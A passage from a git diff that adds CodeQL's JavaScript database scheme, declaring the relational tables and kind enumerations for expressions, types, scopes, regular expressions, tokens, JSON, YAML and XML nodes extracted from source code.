+| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +| 40 = @using_decl_stmt +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +| 119 = @template_pipe_ref +| 120 = @generated_code_expr +| 121 = @satisfies_expr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +expr_contains_template_tag_location( + int expr: @expr ref, + int location: @location ref +); + +@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file; + +template_placeholder_tag_info( + unique int node: @template_placeholder_tag, + int parentNode: @template_placeholder_tag_parent ref, + varchar(900) raw: string ref +); + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +| 10 = @static_initializer +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @type_keyword_operand ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +is_abstract_signature( + unique int sig: @signature_type ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest_index( + unique int typ: @type ref, + int index: int ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape +| 28 = @regexp_quoted_string +| 29 = @regexp_intersection +| 30 = @regexp_subtraction; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable + | @template_placeholder_tag; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** +* Non-timing related data for the extraction of a single file. +* This table contains non-deterministic content. +*/ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/*- Configuration files with key value pairs -*/ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme new file mode 100644 index 00000000000..ccefb5e2d49 --- /dev/null +++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme @@ -0,0 +1,1194 @@ +/*** Standard fragments ***/ + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- JavaScript-specific part -*/ + +@location = @location_default + +@sourceline = @locatable; + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: 